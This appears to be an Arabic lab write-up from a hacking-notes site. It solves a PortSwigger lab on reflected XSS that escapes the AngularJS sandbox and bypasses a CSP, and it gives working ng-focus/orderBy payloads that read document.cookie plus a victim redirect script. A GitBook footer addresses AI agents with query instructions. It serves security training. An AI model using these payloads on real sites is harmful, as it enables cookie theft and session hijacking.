> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/angularjs-sandbox-escape-with-csp.md).

# الهروب من صندوق AngularJS مع CSP

### ثغرة XSS منعكسة مع الهروب من صندوق AngularJS وCSP

نفّذ هجوم XSS منعكسًا يتجاوز سياسة أمان المحتوى، ويهرب من صندوق AngularJS ويعمل `alert(document.cookie)`.

**التعليقات**/ يستخدم الموقع سياسة CSP تمنع تنفيذ البرامج النصية من نطاق خارجي:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/e146499932b98ceb10bf403ef7756abba352a634" alt=""><figcaption></figcaption></figure>

من خلال الرجوع إلى ورقة الغش الخاصة بـ PortSwigger، نحدد متجه AngularJS عمليًا يفرض التقييم عبر `orderBy` عامل التصفية المطبَّق على `$event.composedPath()` الحدث.

<figure><img src="/files/f135ec0129a88071790996a34b8f82519cba5b97" alt=""><figcaption></figcaption></figure>

* لتشغيل تنبيه:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/970ae480982a970f2ef554286e300f7b36490fb4" alt=""><figcaption></figcaption></figure>

* لعرض قيمة `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

مثال على عنوان URL تم إنشاؤه لتسليم الحمولة وفرض التنفيذ على جانب الضحية:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/43775e6236257366576a8c771ff394710288ee0e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
